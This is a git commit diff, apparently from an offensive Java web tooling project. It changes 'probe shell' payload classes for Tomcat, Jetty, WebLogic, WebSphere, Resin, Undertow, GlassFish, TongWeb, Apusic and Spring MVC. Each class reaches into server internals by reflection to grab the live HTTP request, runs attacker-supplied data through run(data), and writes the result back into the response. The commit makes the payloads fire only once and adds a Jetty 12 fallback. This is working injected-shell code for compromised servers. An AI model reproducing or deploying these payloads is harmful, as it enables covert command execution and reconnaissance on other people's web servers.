perf: probe shell only run once

2026-09-21 22:50:42 +08:00 · 2025-12-08 01:43:41 +08:00
parent cd8111d0d7
commit 1cf5f37086
10 changed files with 103 additions and 7 deletions
@@ -10,7 +10,13 @@ import java.lang.reflect.Method;
 * @since 2025/8/10
 */
 public class ApusicWriter {
+
+    private static boolean ok = false;
+
    public ApusicWriter() {
+        if (ok) {
+            return;
+        }
        try {
            Object table = getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
            for (int i = 0; i < Array.getLength(table); i++) {
@@ -41,6 +47,8 @@ public class ApusicWriter {
            }
        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }

@@ -11,7 +11,12 @@ import java.util.Set;
 */
 public class GlassFishWriter {

+    private static boolean ok = false;
+
    public GlassFishWriter() {
+        if (ok) {
+            return;
+        }
        try {
            try {
                // GlassFish3
@@ -54,6 +59,8 @@ public class GlassFishWriter {
            }
        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }

@@ -1,19 +1,30 @@
 package com.reajason.javaweb.probe.payload.response;

+import org.eclipse.jetty.util.Callback;
+
 import java.io.PrintWriter;
+import java.io.StringWriter;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.nio.ByteBuffer;
+
+import static java.nio.charset.StandardCharsets.UTF_8;

 /**
 * @author ReaJason
 * @since 2025/8/5
 */
 public class JettyWriter {
+
+    private static boolean ok = false;
+
    public JettyWriter() {
+        if (ok) {
+            return;
+        }
        try {
            Thread thread = Thread.currentThread();
-            System.out.println(thread);
            Object threadLocals = getFieldValue(thread, "threadLocals");
            Object table = getFieldValue(threadLocals, "table");
            for (int i = 0; i < Array.getLength(table); i++) {
@@ -36,26 +47,34 @@ public class JettyWriter {
                    if (request == null) {
                        continue;
                    }
-                    // 在 Jetty12 ee8 ~ ee10 环境下
-                    // request 对象为 org.eclipse.jetty.server.internal.HttpChannelState$ChannelRequest
-                    // 非 ServletRequest 实现，考虑到场景可能比较少，适配代码较多，因此下面暂未适配
                    String data = getDataFromReq(request);
                    if (data != null && !data.isEmpty()) {
-                        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                        StringWriter sw = new StringWriter();
+                        PrintWriter writer = new PrintWriter(sw);
                        try {
                            writer.write(run(data));
                        } catch (Throwable e) {
                            e.printStackTrace();
                            e.printStackTrace(writer);
                        }
-                        writer.flush();
-                        writer.close();
+                        String result = sw.toString();
+                        System.out.println("result: " + result);
+                        try {
+                            PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                            resWriter.write(result);
+                        } catch (Exception e) {
+                            invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
+                            ByteBuffer content = UTF_8.encode(result);
+                            invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
+                        }
                        return;
                    }
                }
            }
        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }

@@ -9,7 +9,13 @@ import java.lang.reflect.Method;
 * @since 2025/8/8
 */
 public class ResinWriter {
+
+    private static boolean ok = false;
+
    public ResinWriter() {
+        if (ok) {
+            return;
+        }
        try {
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
            Class<?> invocationClazz = loader.loadClass("com.caucho.server.dispatch.ServletInvocation");
@@ -29,6 +35,8 @@ public class ResinWriter {
            invokeMethod(response, "close", null, null);
        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }

@@ -10,7 +10,12 @@ import java.lang.reflect.Method;
 */
 public class SpringWebMvcWriter {

+    private static boolean ok = false;
+
    public SpringWebMvcWriter() {
+        if (ok) {
+            return;
+        }
        try {
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes", null, null);
@@ -31,6 +36,8 @@ public class SpringWebMvcWriter {

        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }

@@ -7,7 +7,13 @@ import java.util.List;
 import java.util.Set;

 public class TomcatWriter {
+
+    private static boolean ok = false;
+
    public TomcatWriter() {
+        if (ok) {
+            return;
+        }
        try {
            Set<Thread> threads = Thread.getAllStackTraces().keySet();
            for (Thread thread : threads) {
@@ -53,6 +59,10 @@ public class TomcatWriter {
                }
                List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
                for (Object processor : processors) {
+                    String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
+                    if (!Thread.currentThread().getName().equals(workerThreadName)) {
+                        continue;
+                    }
                    // org.apache.coyote.Request
                    Object coyoteRequest = getFieldValue(processor, "req");
                    // org.apache.catalina.connector.Request
@@ -75,6 +85,8 @@ public class TomcatWriter {
            }
        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }

@@ -7,7 +7,13 @@ import java.util.List;
 import java.util.Set;

 public class TongWebWriter {
+
+    private static boolean ok = false;
+
    public TongWebWriter() {
+        if (ok) {
+            return;
+        }
        try {
            Set<Thread> threads = Thread.getAllStackTraces().keySet();
            for (Thread thread : threads) {
@@ -23,6 +29,10 @@ public class TongWebWriter {
                        Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global");
                        List<?> processors = (List<?>) getFieldValue(requestGroupInfo, "processors");
                        for (Object processor : processors) {
+                            String workerThreadName = (String) getFieldValue(processor, "workerThreadName");
+                            if (!Thread.currentThread().getName().equals(workerThreadName)) {
+                                continue;
+                            }
                            Object coyoteRequest = getFieldValue(processor, "req");
                            if (tryWriteRes(coyoteRequest)) {
                                return;
@@ -50,6 +60,8 @@ public class TongWebWriter {
            }
        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }

@@ -10,7 +10,13 @@ import java.lang.reflect.Method;
 * @since 2025/8/8
 */
 public class UndertowWriter {
+
+    private static boolean ok = false;
+
    public UndertowWriter() {
+        if (ok) {
+            return;
+        }
        try {
            Thread thread = Thread.currentThread();
            Object threadLocals = getFieldValue(thread, "threadLocals");
@@ -38,6 +44,8 @@ public class UndertowWriter {
            }
        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }

@@ -9,7 +9,13 @@ import java.lang.reflect.Method;
 * @since 2025/8/10
 */
 public class WebLogicWriter {
+
+    private static boolean ok = false;
+
    public WebLogicWriter() {
+        if (ok) {
+            return;
+        }
        try {
            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
            Object request = null;
@@ -45,6 +51,8 @@ public class WebLogicWriter {
            }
        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }

@@ -12,7 +12,12 @@ import java.lang.reflect.Method;
 */
 public class WebSphereWriter {

+    private static boolean ok = false;
+
    public WebSphereWriter() {
+        if (ok) {
+            return;
+        }
        try {
            Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
            for (Object wsThreadLocal : wsThreadLocals) {
@@ -42,6 +47,8 @@ public class WebSphereWriter {
            }
        } catch (Throwable e) {
            e.printStackTrace();
+        } finally {
+            ok = true;
        }
    }